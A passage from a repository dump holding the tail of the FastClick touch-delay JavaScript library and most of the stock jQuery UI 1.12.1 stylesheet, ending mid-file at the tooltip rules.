780 | if (metaViewport.content.indexOf('user-scalable=no') !== -1) {
781 | return true;
782 | }
783 | // width=device-width (or less than device-width) eliminates click delay.
784 | if (document.documentElement.scrollWidth <= window.outerWidth) {
785 | return true;
786 | }
787 | }
788 | }
789 | }
790 |
791 | // IE10 with -ms-touch-action: none or manipulation, which disables double-tap-to-zoom (issue #97)
792 | if (layer.style.msTouchAction === 'none' || layer.style.touchAction === 'manipulation') {
793 | return true;
794 | }
795 |
796 | // Firefox version - zero for other browsers
797 | firefoxVersion = +(/Firefox\/([0-9]+)/.exec(navigator.userAgent) || [,0])[1];
798 |
799 | if (firefoxVersion >= 27) {
800 | // Firefox 27+ does not have tap delay if the content is not zoomable - https://bugzilla.mozilla.org/show_bug.cgi?id=922896
801 |
802 | metaViewport = document.querySelector('meta[name=viewport]');
803 | if (metaViewport && (metaViewport.content.indexOf('user-scalable=no') !== -1 || document.documentElement.scrollWidth <= window.outerWidth)) {
804 | return true;
805 | }
806 | }
807 |
808 | // IE11: prefixed -ms-touch-action is no longer supported and it's recomended to use non-prefixed version
809 | // http://msdn.microsoft.com/en-us/library/windows/apps/Hh767313.aspx
810 | if (layer.style.touchAction === 'none' || layer.style.touchAction === 'manipulation') {
811 | return true;
812 | }
813 |
814 | return false;
815 | };
816 |
817 |
818 | /**
819 | * Factory method for creating a FastClick object
820 | *
821 | * @param {Element} layer The layer to listen on
822 | * @param {Object} [options={}] The options to override the defaults
823 | */
824 | FastClick.attach = function(layer, options) {
825 | return new FastClick(layer, options);
826 | };
827 |
828 |
829 | if (typeof define === 'function' && typeof define.amd === 'object' && define.amd) {
830 |
831 | // AMD. Register as an anonymous module.
832 | define(function() {
833 | return FastClick;
834 | });
835 | } else if (typeof module !== 'undefined' && module.exports) {
836 | module.exports = FastClick.attach;
837 | module.exports.FastClick = FastClick;
838 | } else {
839 | window.FastClick = FastClick;
840 | }
841 | }());
842 |
--------------------------------------------------------------------------------
/static/css/jquery-ui.css:
--------------------------------------------------------------------------------
1 | /*! jQuery UI - v1.12.1 - 2016-09-14
2 | * http://jqueryui.com
3 | * Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
4 | * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=highlight_soft&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=flat&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=glass&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=glass&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=glass&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=glass&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=glass&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px
5 | * Copyright jQuery Foundation and other contributors; Licensed MIT */
6 |
7 | /* Layout helpers
8 | ----------------------------------*/
9 | .ui-helper-hidden {
10 | display: none;
11 | }
12 | .ui-helper-hidden-accessible {
13 | border: 0;
14 | clip: rect(0 0 0 0);
15 | height: 1px;
16 | margin: -1px;
17 | overflow: hidden;
18 | padding: 0;
19 | position: absolute;
20 | width: 1px;
21 | }
22 | .ui-helper-reset {
23 | margin: 0;
24 | padding: 0;
25 | border: 0;
26 | outline: 0;
27 | line-height: 1.3;
28 | text-decoration: none;
29 | font-size: 100%;
30 | list-style: none;
31 | }
32 | .ui-helper-clearfix:before,
33 | .ui-helper-clearfix:after {
34 | content: "";
35 | display: table;
36 | border-collapse: collapse;
37 | }
38 | .ui-helper-clearfix:after {
39 | clear: both;
40 | }
41 | .ui-helper-zfix {
42 | width: 100%;
43 | height: 100%;
44 | top: 0;
45 | left: 0;
46 | position: absolute;
47 | opacity: 0;
48 | filter:Alpha(Opacity=0); /* support: IE8 */
49 | }
50 |
51 | .ui-front {
52 | z-index: 100;
53 | }
54 |
55 |
56 | /* Interaction Cues
57 | ----------------------------------*/
58 | .ui-state-disabled {
59 | cursor: default !important;
60 | pointer-events: none;
61 | }
62 |
63 |
64 | /* Icons
65 | ----------------------------------*/
66 | .ui-icon {
67 | display: inline-block;
68 | vertical-align: middle;
69 | margin-top: -.25em;
70 | position: relative;
71 | text-indent: -99999px;
72 | overflow: hidden;
73 | background-repeat: no-repeat;
74 | }
75 |
76 | .ui-widget-icon-block {
77 | left: 50%;
78 | margin-left: -8px;
79 | display: block;
80 | }
81 |
82 | /* Misc visuals
83 | ----------------------------------*/
84 |
85 | /* Overlays */
86 | .ui-widget-overlay {
87 | position: fixed;
88 | top: 0;
89 | left: 0;
90 | width: 100%;
91 | height: 100%;
92 | }
93 | .ui-accordion .ui-accordion-header {
94 | display: block;
95 | cursor: pointer;
96 | position: relative;
97 | margin: 2px 0 0 0;
98 | padding: .5em .5em .5em .7em;
99 | font-size: 100%;
100 | }
101 | .ui-accordion .ui-accordion-content {
102 | padding: 1em 2.2em;
103 | border-top: 0;
104 | overflow: auto;
105 | }
106 | .ui-autocomplete {
107 | position: absolute;
108 | top: 0;
109 | left: 0;
110 | cursor: default;
111 | }
112 | .ui-menu {
113 | list-style: none;
114 | padding: 0;
115 | margin: 0;
116 | display: block;
117 | outline: 0;
118 | }
119 | .ui-menu .ui-menu {
120 | position: absolute;
121 | }
122 | .ui-menu .ui-menu-item {
123 | margin: 0;
124 | cursor: pointer;
125 | /* support: IE10, see #8844 */
126 | list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
127 | }
128 | .ui-menu .ui-menu-item-wrapper {
129 | position: relative;
130 | padding: 3px 1em 3px .4em;
131 | }
132 | .ui-menu .ui-menu-divider {
133 | margin: 5px 0;
134 | height: 0;
135 | font-size: 0;
136 | line-height: 0;
137 | border-width: 1px 0 0 0;
138 | }
139 | .ui-menu .ui-state-focus,
140 | .ui-menu .ui-state-active {
141 | margin: -1px;
142 | }
143 |
144 | /* icon support */
145 | .ui-menu-icons {
146 | position: relative;
147 | }
148 | .ui-menu-icons .ui-menu-item-wrapper {
149 | padding-left: 2em;
150 | }
151 |
152 | /* left-aligned */
153 | .ui-menu .ui-icon {
154 | position: absolute;
155 | top: 0;
156 | bottom: 0;
157 | left: .2em;
158 | margin: auto 0;
159 | }
160 |
161 | /* right-aligned */
162 | .ui-menu .ui-menu-icon {
163 | left: auto;
164 | right: 0;
165 | }
166 | .ui-button {
167 | padding: .4em 1em;
168 | display: inline-block;
169 | position: relative;
170 | line-height: normal;
171 | margin-right: .1em;
172 | cursor: pointer;
173 | vertical-align: middle;
174 | text-align: center;
175 | -webkit-user-select: none;
176 | -moz-user-select: none;
177 | -ms-user-select: none;
178 | user-select: none;
179 |
180 | /* Support: IE <= 11 */
181 | overflow: visible;
182 | }
183 |
184 | .ui-button,
185 | .ui-button:link,
186 | .ui-button:visited,
187 | .ui-button:hover,
188 | .ui-button:active {
189 | text-decoration: none;
190 | }
191 |
192 | /* to make room for the icon, a width needs to be set here */
193 | .ui-button-icon-only {
194 | width: 2em;
195 | box-sizing: border-box;
196 | text-indent: -9999px;
197 | white-space: nowrap;
198 | }
199 |
200 | /* no icon support for input elements */
201 | input.ui-button.ui-button-icon-only {
202 | text-indent: 0;
203 | }
204 |
205 | /* button icon element(s) */
206 | .ui-button-icon-only .ui-icon {
207 | position: absolute;
208 | top: 50%;
209 | left: 50%;
210 | margin-top: -8px;
211 | margin-left: -8px;
212 | }
213 |
214 | .ui-button.ui-icon-notext .ui-icon {
215 | padding: 0;
216 | width: 2.1em;
217 | height: 2.1em;
218 | text-indent: -9999px;
219 | white-space: nowrap;
220 |
221 | }
222 |
223 | input.ui-button.ui-icon-notext .ui-icon {
224 | width: auto;
225 | height: auto;
226 | text-indent: 0;
227 | white-space: normal;
228 | padding: .4em 1em;
229 | }
230 |
231 | /* workarounds */
232 | /* Support: Firefox 5 - 40 */
233 | input.ui-button::-moz-focus-inner,
234 | button.ui-button::-moz-focus-inner {
235 | border: 0;
236 | padding: 0;
237 | }
238 | .ui-controlgroup {
239 | vertical-align: middle;
240 | display: inline-block;
241 | }
242 | .ui-controlgroup > .ui-controlgroup-item {
243 | float: left;
244 | margin-left: 0;
245 | margin-right: 0;
246 | }
247 | .ui-controlgroup > .ui-controlgroup-item:focus,
248 | .ui-controlgroup > .ui-controlgroup-item.ui-visual-focus {
249 | z-index: 9999;
250 | }
251 | .ui-controlgroup-vertical > .ui-controlgroup-item {
252 | display: block;
253 | float: none;
254 | width: 100%;
255 | margin-top: 0;
256 | margin-bottom: 0;
257 | text-align: left;
258 | }
259 | .ui-controlgroup-vertical .ui-controlgroup-item {
260 | box-sizing: border-box;
261 | }
262 | .ui-controlgroup .ui-controlgroup-label {
263 | padding: .4em 1em;
264 | }
265 | .ui-controlgroup .ui-controlgroup-label span {
266 | font-size: 80%;
267 | }
268 | .ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item {
269 | border-left: none;
270 | }
271 | .ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item {
272 | border-top: none;
273 | }
274 | .ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content {
275 | border-right: none;
276 | }
277 | .ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content {
278 | border-bottom: none;
279 | }
280 |
281 | /* Spinner specific style fixes */
282 | .ui-controlgroup-vertical .ui-spinner-input {
283 |
284 | /* Support: IE8 only, Android < 4.4 only */
285 | width: 75%;
286 | width: calc( 100% - 2.4em );
287 | }
288 | .ui-controlgroup-vertical .ui-spinner .ui-spinner-up {
289 | border-top-style: solid;
290 | }
291 |
292 | .ui-checkboxradio-label .ui-icon-background {
293 | box-shadow: inset 1px 1px 1px #ccc;
294 | border-radius: .12em;
295 | border: none;
296 | }
297 | .ui-checkboxradio-radio-label .ui-icon-background {
298 | width: 16px;
299 | height: 16px;
300 | border-radius: 1em;
301 | overflow: visible;
302 | border: none;
303 | }
304 | .ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,
305 | .ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon {
306 | background-image: none;
307 | width: 8px;
308 | height: 8px;
309 | border-width: 4px;
310 | border-style: solid;
311 | }
312 | .ui-checkboxradio-disabled {
313 | pointer-events: none;
314 | }
315 | .ui-datepicker {
316 | width: 17em;
317 | padding: .2em .2em 0;
318 | display: none;
319 | }
320 | .ui-datepicker .ui-datepicker-header {
321 | position: relative;
322 | padding: .2em 0;
323 | }
324 | .ui-datepicker .ui-datepicker-prev,
325 | .ui-datepicker .ui-datepicker-next {
326 | position: absolute;
327 | top: 2px;
328 | width: 1.8em;
329 | height: 1.8em;
330 | }
331 | .ui-datepicker .ui-datepicker-prev-hover,
332 | .ui-datepicker .ui-datepicker-next-hover {
333 | top: 1px;
334 | }
335 | .ui-datepicker .ui-datepicker-prev {
336 | left: 2px;
337 | }
338 | .ui-datepicker .ui-datepicker-next {
339 | right: 2px;
340 | }
341 | .ui-datepicker .ui-datepicker-prev-hover {
342 | left: 1px;
343 | }
344 | .ui-datepicker .ui-datepicker-next-hover {
345 | right: 1px;
346 | }
347 | .ui-datepicker .ui-datepicker-prev span,
348 | .ui-datepicker .ui-datepicker-next span {
349 | display: block;
350 | position: absolute;
351 | left: 50%;
352 | margin-left: -8px;
353 | top: 50%;
354 | margin-top: -8px;
355 | }
356 | .ui-datepicker .ui-datepicker-title {
357 | margin: 0 2.3em;
358 | line-height: 1.8em;
359 | text-align: center;
360 | }
361 | .ui-datepicker .ui-datepicker-title select {
362 | font-size: 1em;
363 | margin: 1px 0;
364 | }
365 | .ui-datepicker select.ui-datepicker-month,
366 | .ui-datepicker select.ui-datepicker-year {
367 | width: 45%;
368 | }
369 | .ui-datepicker table {
370 | width: 100%;
371 | font-size: .9em;
372 | border-collapse: collapse;
373 | margin: 0 0 .4em;
374 | }
375 | .ui-datepicker th {
376 | padding: .7em .3em;
377 | text-align: center;
378 | font-weight: bold;
379 | border: 0;
380 | }
381 | .ui-datepicker td {
382 | border: 0;
383 | padding: 1px;
384 | }
385 | .ui-datepicker td span,
386 | .ui-datepicker td a {
387 | display: block;
388 | padding: .2em;
389 | text-align: right;
390 | text-decoration: none;
391 | }
392 | .ui-datepicker .ui-datepicker-buttonpane {
393 | background-image: none;
394 | margin: .7em 0 0 0;
395 | padding: 0 .2em;
396 | border-left: 0;
397 | border-right: 0;
398 | border-bottom: 0;
399 | }
400 | .ui-datepicker .ui-datepicker-buttonpane button {
401 | float: right;
402 | margin: .5em .2em .4em;
403 | cursor: pointer;
404 | padding: .2em .6em .3em .6em;
405 | width: auto;
406 | overflow: visible;
407 | }
408 | .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
409 | float: left;
410 | }
411 |
412 | /* with multiple calendars */
413 | .ui-datepicker.ui-datepicker-multi {
414 | width: auto;
415 | }
416 | .ui-datepicker-multi .ui-datepicker-group {
417 | float: left;
418 | }
419 | .ui-datepicker-multi .ui-datepicker-group table {
420 | width: 95%;
421 | margin: 0 auto .4em;
422 | }
423 | .ui-datepicker-multi-2 .ui-datepicker-group {
424 | width: 50%;
425 | }
426 | .ui-datepicker-multi-3 .ui-datepicker-group {
427 | width: 33.3%;
428 | }
429 | .ui-datepicker-multi-4 .ui-datepicker-group {
430 | width: 25%;
431 | }
432 | .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
433 | .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
434 | border-left-width: 0;
435 | }
436 | .ui-datepicker-multi .ui-datepicker-buttonpane {
437 | clear: left;
438 | }
439 | .ui-datepicker-row-break {
440 | clear: both;
441 | width: 100%;
442 | font-size: 0;
443 | }
444 |
445 | /* RTL support */
446 | .ui-datepicker-rtl {
447 | direction: rtl;
448 | }
449 | .ui-datepicker-rtl .ui-datepicker-prev {
450 | right: 2px;
451 | left: auto;
452 | }
453 | .ui-datepicker-rtl .ui-datepicker-next {
454 | left: 2px;
455 | right: auto;
456 | }
457 | .ui-datepicker-rtl .ui-datepicker-prev:hover {
458 | right: 1px;
459 | left: auto;
460 | }
461 | .ui-datepicker-rtl .ui-datepicker-next:hover {
462 | left: 1px;
463 | right: auto;
464 | }
465 | .ui-datepicker-rtl .ui-datepicker-buttonpane {
466 | clear: right;
467 | }
468 | .ui-datepicker-rtl .ui-datepicker-buttonpane button {
469 | float: left;
470 | }
471 | .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
472 | .ui-datepicker-rtl .ui-datepicker-group {
473 | float: right;
474 | }
475 | .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
476 | .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
477 | border-right-width: 0;
478 | border-left-width: 1px;
479 | }
480 |
481 | /* Icons */
482 | .ui-datepicker .ui-icon {
483 | display: block;
484 | text-indent: -99999px;
485 | overflow: hidden;
486 | background-repeat: no-repeat;
487 | left: .5em;
488 | top: .3em;
489 | }
490 | .ui-dialog {
491 | position: absolute;
492 | top: 0;
493 | left: 0;
494 | padding: .2em;
495 | outline: 0;
496 | }
497 | .ui-dialog .ui-dialog-titlebar {
498 | padding: .4em 1em;
499 | position: relative;
500 | }
501 | .ui-dialog .ui-dialog-title {
502 | float: left;
503 | margin: .1em 0;
504 | white-space: nowrap;
505 | width: 90%;
506 | overflow: hidden;
507 | text-overflow: ellipsis;
508 | }
509 | .ui-dialog .ui-dialog-titlebar-close {
510 | position: absolute;
511 | right: .3em;
512 | top: 50%;
513 | width: 20px;
514 | margin: -10px 0 0 0;
515 | padding: 1px;
516 | height: 20px;
517 | }
518 | .ui-dialog .ui-dialog-content {
519 | position: relative;
520 | border: 0;
521 | padding: .5em 1em;
522 | background: none;
523 | overflow: auto;
524 | }
525 | .ui-dialog .ui-dialog-buttonpane {
526 | text-align: left;
527 | border-width: 1px 0 0 0;
528 | background-image: none;
529 | margin-top: .5em;
530 | padding: .3em 1em .5em .4em;
531 | }
532 | .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset {
533 | float: right;
534 | }
535 | .ui-dialog .ui-dialog-buttonpane button {
536 | margin: .5em .4em .5em 0;
537 | cursor: pointer;
538 | }
539 | .ui-dialog .ui-resizable-n {
540 | height: 2px;
541 | top: 0;
542 | }
543 | .ui-dialog .ui-resizable-e {
544 | width: 2px;
545 | right: 0;
546 | }
547 | .ui-dialog .ui-resizable-s {
548 | height: 2px;
549 | bottom: 0;
550 | }
551 | .ui-dialog .ui-resizable-w {
552 | width: 2px;
553 | left: 0;
554 | }
555 | .ui-dialog .ui-resizable-se,
556 | .ui-dialog .ui-resizable-sw,
557 | .ui-dialog .ui-resizable-ne,
558 | .ui-dialog .ui-resizable-nw {
559 | width: 7px;
560 | height: 7px;
561 | }
562 | .ui-dialog .ui-resizable-se {
563 | right: 0;
564 | bottom: 0;
565 | }
566 | .ui-dialog .ui-resizable-sw {
567 | left: 0;
568 | bottom: 0;
569 | }
570 | .ui-dialog .ui-resizable-ne {
571 | right: 0;
572 | top: 0;
573 | }
574 | .ui-dialog .ui-resizable-nw {
575 | left: 0;
576 | top: 0;
577 | }
578 | .ui-draggable .ui-dialog-titlebar {
579 | cursor: move;
580 | }
581 | .ui-draggable-handle {
582 | -ms-touch-action: none;
583 | touch-action: none;
584 | }
585 | .ui-resizable {
586 | position: relative;
587 | }
588 | .ui-resizable-handle {
589 | position: absolute;
590 | font-size: 0.1px;
591 | display: block;
592 | -ms-touch-action: none;
593 | touch-action: none;
594 | }
595 | .ui-resizable-disabled .ui-resizable-handle,
596 | .ui-resizable-autohide .ui-resizable-handle {
597 | display: none;
598 | }
599 | .ui-resizable-n {
600 | cursor: n-resize;
601 | height: 7px;
602 | width: 100%;
603 | top: -5px;
604 | left: 0;
605 | }
606 | .ui-resizable-s {
607 | cursor: s-resize;
608 | height: 7px;
609 | width: 100%;
610 | bottom: -5px;
611 | left: 0;
612 | }
613 | .ui-resizable-e {
614 | cursor: e-resize;
615 | width: 7px;
616 | right: -5px;
617 | top: 0;
618 | height: 100%;
619 | }
620 | .ui-resizable-w {
621 | cursor: w-resize;
622 | width: 7px;
623 | left: -5px;
624 | top: 0;
625 | height: 100%;
626 | }
627 | .ui-resizable-se {
628 | cursor: se-resize;
629 | width: 12px;
630 | height: 12px;
631 | right: 1px;
632 | bottom: 1px;
633 | }
634 | .ui-resizable-sw {
635 | cursor: sw-resize;
636 | width: 9px;
637 | height: 9px;
638 | left: -5px;
639 | bottom: -5px;
640 | }
641 | .ui-resizable-nw {
642 | cursor: nw-resize;
643 | width: 9px;
644 | height: 9px;
645 | left: -5px;
646 | top: -5px;
647 | }
648 | .ui-resizable-ne {
649 | cursor: ne-resize;
650 | width: 9px;
651 | height: 9px;
652 | right: -5px;
653 | top: -5px;
654 | }
655 | .ui-progressbar {
656 | height: 2em;
657 | text-align: left;
658 | overflow: hidden;
659 | }
660 | .ui-progressbar .ui-progressbar-value {
661 | margin: -1px;
662 | height: 100%;
663 | }
664 | .ui-progressbar .ui-progressbar-overlay {
665 | background: url("data:image/gif;base64,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");
666 | height: 100%;
667 | filter: alpha(opacity=25); /* support: IE8 */
668 | opacity: 0.25;
669 | }
670 | .ui-progressbar-indeterminate .ui-progressbar-value {
671 | background-image: none;
672 | }
673 | .ui-selectable {
674 | -ms-touch-action: none;
675 | touch-action: none;
676 | }
677 | .ui-selectable-helper {
678 | position: absolute;
679 | z-index: 100;
680 | border: 1px dotted black;
681 | }
682 | .ui-selectmenu-menu {
683 | padding: 0;
684 | margin: 0;
685 | position: absolute;
686 | top: 0;
687 | left: 0;
688 | display: none;
689 | }
690 | .ui-selectmenu-menu .ui-menu {
691 | overflow: auto;
692 | overflow-x: hidden;
693 | padding-bottom: 1px;
694 | }
695 | .ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup {
696 | font-size: 1em;
697 | font-weight: bold;
698 | line-height: 1.5;
699 | padding: 2px 0.4em;
700 | margin: 0.5em 0 0 0;
701 | height: auto;
702 | border: 0;
703 | }
704 | .ui-selectmenu-open {
705 | display: block;
706 | }
707 | .ui-selectmenu-text {
708 | display: block;
709 | margin-right: 20px;
710 | overflow: hidden;
711 | text-overflow: ellipsis;
712 | }
713 | .ui-selectmenu-button.ui-button {
714 | text-align: left;
715 | white-space: nowrap;
716 | width: 14em;
717 | }
718 | .ui-selectmenu-icon.ui-icon {
719 | float: right;
720 | margin-top: 0;
721 | }
722 | .ui-slider {
723 | position: relative;
724 | text-align: left;
725 | }
726 | .ui-slider .ui-slider-handle {
727 | position: absolute;
728 | z-index: 2;
729 | width: 1.2em;
730 | height: 1.2em;
731 | cursor: default;
732 | -ms-touch-action: none;
733 | touch-action: none;
734 | }
735 | .ui-slider .ui-slider-range {
736 | position: absolute;
737 | z-index: 1;
738 | font-size: .7em;
739 | display: block;
740 | border: 0;
741 | background-position: 0 0;
742 | }
743 |
744 | /* support: IE8 - See #6727 */
745 | .ui-slider.ui-state-disabled .ui-slider-handle,
746 | .ui-slider.ui-state-disabled .ui-slider-range {
747 | filter: inherit;
748 | }
749 |
750 | .ui-slider-horizontal {
751 | height: .8em;
752 | }
753 | .ui-slider-horizontal .ui-slider-handle {
754 | top: -.3em;
755 | margin-left: -.6em;
756 | }
757 | .ui-slider-horizontal .ui-slider-range {
758 | top: 0;
759 | height: 100%;
760 | }
761 | .ui-slider-horizontal .ui-slider-range-min {
762 | left: 0;
763 | }
764 | .ui-slider-horizontal .ui-slider-range-max {
765 | right: 0;
766 | }
767 |
768 | .ui-slider-vertical {
769 | width: .8em;
770 | height: 100px;
771 | }
772 | .ui-slider-vertical .ui-slider-handle {
773 | left: -.3em;
774 | margin-left: 0;
775 | margin-bottom: -.6em;
776 | }
777 | .ui-slider-vertical .ui-slider-range {
778 | left: 0;
779 | width: 100%;
780 | }
781 | .ui-slider-vertical .ui-slider-range-min {
782 | bottom: 0;
783 | }
784 | .ui-slider-vertical .ui-slider-range-max {
785 | top: 0;
786 | }
787 | .ui-sortable-handle {
788 | -ms-touch-action: none;
789 | touch-action: none;
790 | }
791 | .ui-spinner {
792 | position: relative;
793 | display: inline-block;
794 | overflow: hidden;
795 | padding: 0;
796 | vertical-align: middle;
797 | }
798 | .ui-spinner-input {
799 | border: none;
800 | background: none;
801 | color: inherit;
802 | padding: .222em 0;
803 | margin: .2em 0;
804 | vertical-align: middle;
805 | margin-left: .4em;
806 | margin-right: 2em;
807 | }
808 | .ui-spinner-button {
809 | width: 1.6em;
810 | height: 50%;
811 | font-size: .5em;
812 | padding: 0;
813 | margin: 0;
814 | text-align: center;
815 | position: absolute;
816 | cursor: default;
817 | display: block;
818 | overflow: hidden;
819 | right: 0;
820 | }
821 | /* more specificity required here to override default borders */
822 | .ui-spinner a.ui-spinner-button {
823 | border-top-style: none;
824 | border-bottom-style: none;
825 | border-right-style: none;
826 | }
827 | .ui-spinner-up {
828 | top: 0;
829 | }
830 | .ui-spinner-down {
831 | bottom: 0;
832 | }
833 | .ui-tabs {
834 | position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */
835 | padding: .2em;
836 | }
837 | .ui-tabs .ui-tabs-nav {
838 | margin: 0;
839 | padding: .2em .2em 0;
840 | }
841 | .ui-tabs .ui-tabs-nav li {
842 | list-style: none;
843 | float: left;
844 | position: relative;
845 | top: 0;
846 | margin: 1px .2em 0 0;
847 | border-bottom-width: 0;
848 | padding: 0;
849 | white-space: nowrap;
850 | }
851 | .ui-tabs .ui-tabs-nav .ui-tabs-anchor {
852 | float: left;
853 | padding: .5em 1em;
854 | text-decoration: none;
855 | }
856 | .ui-tabs .ui-tabs-nav li.ui-tabs-active {
857 | margin-bottom: -1px;
858 | padding-bottom: 1px;
859 | }
860 | .ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,
861 | .ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,
862 | .ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor {
863 | cursor: text;
864 | }
865 | .ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor {
866 | cursor: pointer;
867 | }
868 | .ui-tabs .ui-tabs-panel {
869 | display: block;
870 | border-width: 0;
871 | padding: 1em 1.4em;
872 | background: none;
873 | }
874 | .ui-tooltip {
